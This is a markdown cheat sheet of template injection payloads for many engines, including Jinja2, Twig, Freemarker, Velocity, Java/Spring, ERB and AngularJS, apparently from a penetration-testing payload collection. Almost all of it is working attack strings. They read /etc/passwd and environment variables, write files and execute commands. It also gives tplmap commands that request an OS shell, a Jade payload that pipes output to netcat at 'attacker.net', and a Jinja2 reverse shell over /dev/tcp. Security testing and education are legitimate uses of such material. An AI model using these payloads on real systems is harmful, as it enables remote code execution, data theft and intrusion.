# Templates Injections > Template injection allows an attacker to include template code into an existant (or not) template. Recommended tool: [Tplmap](https://github.com/epinna/tplmap) e.g: ```powershell python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` ## Ruby ### Basic injection ```ruby <%= 7 * 7 %> ``` ### Retrieve /etc/passwd ```ruby <%= File.open('/etc/passwd').read %> ``` ### List files and directories ```ruby <%= Dir.entries('/') %> ``` ## Java ### Java - Basic injection ```java ${7*7} ${{7*7}} ${class.getClassLoader()} ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()} ``` ### Java - Retrieve the system’s environment variables ```java ${T(java.lang.System).getenv()} ``` ### Java - Retrieve /etc/passwd ```java ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` ## Twig ### Twig - Basic injection ```python {{7*7}} {{7*'7'}} would result in 49 ``` ### Twig - Template format ```python $output = $twig > render ( 'Dear' . $_GET['custom_greeting'], array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) ); ``` ### Twig - Code execution ```python {{self}} {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} ``` ## Smarty ```python {php}echo `id`;{/php} {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} ``` ## Freemarker Default functionality. ```python <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} ``` ## Jade / Codepen ```python - var x = root.process - x = x.mainModule.require - x = x('child_process') = x.exec('id | nc attacker.net 80') ``` ## Velocity ```python #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end ``` ## Mako ```python <% import os x=os.popen('id').read() %> ${x} ``` ## Jinja2 [Official website](http://jinja.pocoo.org/) > Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed. ### Jinja 2 - Basic injection ```python {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 ``` Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have been tested on Flask application. ### Jinja2 - Template format ```python {% extends "layout.html" %} {% block body %} {% endblock %} ``` ### Jinja2 - Dump all used classes ```python {{ [].class.base.subclasses() }} {{''.class.mro()[1].subclasses()}} {{ ''.__class__.__mro__[2].__subclasses__() }} ``` ### Jinja2 - Dump all config variables ```python {% for key, value in config.iteritems() %}
{{ key|e }}
{{ value|e }}
{% endfor %} ``` ### Jinja2 - Read remote file ```python # ''.__class__.__mro__[2].__subclasses__()[40] = File class {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} ``` ### Jinja2 - Write into remote file ```python {{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }} ``` ### Jinja2 - Remote Code Execution via reverse shell Listen for connexion ```bash nv -lnvp 8000 ``` Inject this template ```python {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config {{ config.from_pyfile('/tmp/evilconfig.cfg') }} # load the evil config {{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil host ``` ## Client Side Template Injection ### AngularJS ```javascript $eval('1+1') {{1+1}} ``` ### Vue JS ```javascript {{constructor.constructor('alert(1)')()}} ``` ## Thanks to * [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/) * [Yahoo! RCE via Spring Engine SSTI](https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/) * [Ruby ERB Template injection - TrustedSec](https://www.trustedsec.com/2017/09/rubyerb-template-injection/) * [Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger)](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98) * [PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf) * [VelocityServlet Expression Language injection](https://magicbluech.github.io/2017/12/02/VelocityServlet-Expression-language-Injection/) * [Cheatsheet - Flask & Jinja2 SSTI - Sep 3, 2018 • By phosphore](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti) * [RITSEC CTF 2018 WriteUp (Web) - Aj Dumanhug](https://medium.com/@ajdumanhug/ritsec-ctf-2018-writeup-web-72a0e5aa01ad)